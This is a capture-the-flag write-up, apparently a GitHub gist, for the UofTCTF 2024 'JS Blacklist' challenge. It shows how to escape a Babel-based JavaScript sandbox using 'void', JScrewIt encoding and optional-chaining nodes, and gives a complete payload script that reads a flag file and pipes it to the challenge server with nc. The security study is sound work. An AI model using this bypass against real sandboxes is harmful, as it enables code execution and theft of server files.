Skip to content

Instantly share code, notes, and snippets.

@j4k0xb
Last active January 16, 2024 03:44
Show Gist options
  • Save j4k0xb/1e1a9e2e7c70e60b628a2ec7bce35482 to your computer and use it in GitHub Desktop.
Save j4k0xb/1e1a9e2e7c70e60b628a2ec7bce35482 to your computer and use it in GitHub Desktop.
UofTCTF 2024 JS Blacklist writeup

Testing the jail and transformations interactively: https://astexplorer.net/#/gist/7283141e13dab314521744603a95e9b7/6da31845d98f2cad406e9db41ed63e0635ac5ef1

Bypass isStaticallyEvaluable

Only the root nodes are checked for being an expression wrapper:

if (!node.isExpressionWrapper()) {
  isConfident = false;
  break;
}
const { confident } = node.evaluate();
if (!confident) {
  isConfident = false;
  break;
}

Looking at the source code for path.evaluate, we can see that void <any expression> can bypass both of these checks as babel doesn't care about side-effects:

if (path.node.operator === "void") {
  // we don't need to evaluate the argument to know what this will return
  return undefined;
}

Bypass noBlacklistedNodes

"Function|CallExpression|Declaration|TaggedTemplateExpression|TemplateElement|Import|NewExpression|DebuggerStatement|AssignmentExpression|ObjectExpression|MemberExpression|PatternLike|Literal|SpreadElement"(path) {
  hasBlacklistedNode = true;

Upon testing all node types in babel against this filter (e.g. t.isFunction({ type: "..." })) we can find some interesting ones that aren't blacklisted: OptionalMemberExpression and OptionalCallExpression.

JScrewIt is a more optimized JSFuck version and uses only the characters ! ( ) + [ ] to execute any JavaScript. After converting to optional expressions it bypasses the node blacklist completely:

console.log(
  bypassJail("import('fs').then(f=>console.log(f.readFileSync('flag','utf8')))")
);

function bypassJail(input) {
  const ast = parser.parse(
    JScrewIt.encode(input, { features: ["NODE_16_6"], runAs: "eval" })
  );
  traverse(ast, {
    CallExpression({ node }) {
      node.type = "OptionalCallExpression";
      node.optional = true;
    },
    MemberExpression({ node }) {
      node.type = "OptionalMemberExpression";
      node.optional = true;
    },
  });
  return "void " + generate(ast, { compact: true }).code;
}

Getting the flag:

node generate-payload.js | nc 35.239.253.188 5000
import _generate from "@babel/generator";
import * as parser from "@babel/parser";
import _traverse from "@babel/traverse";
import JScrewIt from "jscrewit";
const traverse = _traverse.default;
const generate = _generate.default;
console.log(
bypassJail("import('fs').then(f=>console.log(f.readFileSync('flag','utf8')))")
);
function bypassJail(input) {
const ast = parser.parse(
JScrewIt.encode(input, { features: ["NODE_16_6"], runAs: "eval" })
);
traverse(ast, {
CallExpression({ node }) {
node.type = "OptionalCallExpression";
node.optional = true;
},
MemberExpression({ node }) {
node.type = "OptionalMemberExpression";
node.optional = true;
},
});
return "void " + generate(ast, { compact: true }).code;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment